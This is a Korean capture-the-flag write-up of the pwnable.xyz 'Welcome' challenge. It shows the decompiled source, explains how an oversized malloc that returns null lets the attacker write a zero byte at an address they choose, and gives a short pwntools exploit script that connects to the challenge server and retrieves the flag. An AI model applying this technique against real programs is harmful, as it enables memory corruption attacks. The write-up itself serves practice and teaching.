Wargame

[pwnable.xyz] Welcome

_daeseong_ 2025. 2. 4. 01:19

소스코드

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  char *v4; // rbp
  size_t v5; // rdx
  size_t size[5]; // [rsp+0h] [rbp-28h] BYREF

  size[1] = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ");
  size[0] = 0LL;
  _isoc99_scanf("%lu", size);
  v4 = malloc(size[0]);
  _printf_chk(1LL, "Enter your message: ");
  read(0, v4, size[0]);
  v5 = size[0];
  v4[size[0] - 1] = 0;
  write(1, v4, v5);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

 

분석

메인함수에서는 힙을 하나 할당받고 주소를 알려준다,

그리고 사용자한테서 사이즈를 하나 입력받고 주소[size-1]에 0을 넣어준다 여기서 malloc에 비정상적으로 큰 숫자가 인자로 들어오면 0을 반환하게 되고 OOB가 발생한다 그래서 그냥 사이즈 입력할 때 Leak+1을 입력해 주면 Leak에 값은 0가 되게 되고 플래그를 얻을 수 있다.

 

exp.py

from pwn import *

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30000)
p.recvuntil(b"Leak: ")
leak = int(p.recvline()[:-1],16)

p.sendlineafter(b"message: ",str(leak+1).encode())
p.sendafter(b"message: ",b"\x00")

p.interactive()